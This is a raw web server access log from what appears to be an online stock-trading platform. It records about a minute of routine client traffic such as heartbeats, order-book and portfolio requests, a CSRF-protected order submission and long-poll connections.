[09/Jan/2026:15:14:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:14:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:14:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:14:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=8DE5C509C6C5D6996FB73E7E12BC54E5 HTTP/1.1" 1018
[09/Jan/2026:15:14:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:15:14:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943166191 HTTP/1.1" -
[09/Jan/2026:15:14:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:14:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:14:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:14:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943166965 HTTP/1.1" -
[09/Jan/2026:15:14:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:14:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:14:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1746
[09/Jan/2026:15:14:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943175485 HTTP/1.1" -
[09/Jan/2026:15:14:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943169353 HTTP/1.1" -
[09/Jan/2026:15:15:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943171272 HTTP/1.1" -
[09/Jan/2026:15:15:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943172028 HTTP/1.1" -
[09/Jan/2026:15:15:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943174381 HTTP/1.1" -
[09/Jan/2026:15:15:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943180536 HTTP/1.1" -
[09/Jan/2026:15:15:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:15:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1419
[09/Jan/2026:15:15:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:15:06 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943176456 HTTP/1.1" -
[09/Jan/2026:15:15:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943177084 HTTP/1.1" -
[09/Jan/2026:15:15:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943194625 HTTP/1.1" -
[09/Jan/2026:15:15:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:15:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:15:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943179439 HTTP/1.1" -
[09/Jan/2026:15:15:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943185635 HTTP/1.1" -
[09/Jan/2026:15:15:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943181521 HTTP/1.1" -
[09/Jan/2026:15:15:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:15:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943182230 HTTP/1.1" -
[09/Jan/2026:15:15:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:15:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943199700 HTTP/1.1" -
[09/Jan/2026:15:15:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943184468 HTTP/1.1" -
[09/Jan/2026:15:15:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943190704 HTTP/1.1" -
[09/Jan/2026:15:15:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943186557 HTTP/1.1" -
[09/Jan/2026:15:15:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943187356 HTTP/1.1" -
[09/Jan/2026:15:15:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:15:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943204727 HTTP/1.1" -
[09/Jan/2026:15:15:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943189504 HTTP/1.1" -
[09/Jan/2026:15:15:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943195737 HTTP/1.1" -
[09/Jan/2026:15:15:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943191587 HTTP/1.1" -
[09/Jan/2026:15:15:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943192506 HTTP/1.1" -
[09/Jan/2026:15:15:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:15:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943209746 HTTP/1.1" -
[09/Jan/2026:15:15:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1969
[09/Jan/2026:15:15:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:15:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943194529 HTTP/1.1" -
[09/Jan/2026:15:15:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943200834 HTTP/1.1" -
[09/Jan/2026:15:15:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:15:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:15:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:15:26 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943196628 HTTP/1.1" -
[09/Jan/2026:15:15:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943197718 HTTP/1.1" -
[09/Jan/2026:15:15:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943214800 HTTP/1.1" -
[09/Jan/2026:15:15:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943199572 HTTP/1.1" -
[09/Jan/2026:15:15:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943205922 HTTP/1.1" -
[09/Jan/2026:15:15:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943201712 HTTP/1.1" -
[09/Jan/2026:15:15:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943202783 HTTP/1.1" -
[09/Jan/2026:15:15:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943219865 HTTP/1.1" -
[09/Jan/2026:15:15:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943204593 HTTP/1.1" -
[09/Jan/2026:15:15:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943210955 HTTP/1.1" -
[09/Jan/2026:15:15:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:15:37 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943206937 HTTP/1.1" -
[09/Jan/2026:15:15:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943207978 HTTP/1.1" -
[09/Jan/2026:15:15:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:15:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:15:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943224939 HTTP/1.1" -
[09/Jan/2026:15:15:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943209643 HTTP/1.1" -
[09/Jan/2026:15:15:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943216067 HTTP/1.1" -
[09/Jan/2026:15:15:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943212060 HTTP/1.1" -
[09/Jan/2026:15:15:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:15:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943213115 HTTP/1.1" -
[09/Jan/2026:15:15:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:15:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:15:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943229959 HTTP/1.1" -
[09/Jan/2026:15:15:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943214670 HTTP/1.1" -
[09/Jan/2026:15:15:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943221133 HTTP/1.1" -
[09/Jan/2026:15:15:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943217256 HTTP/1.1" -
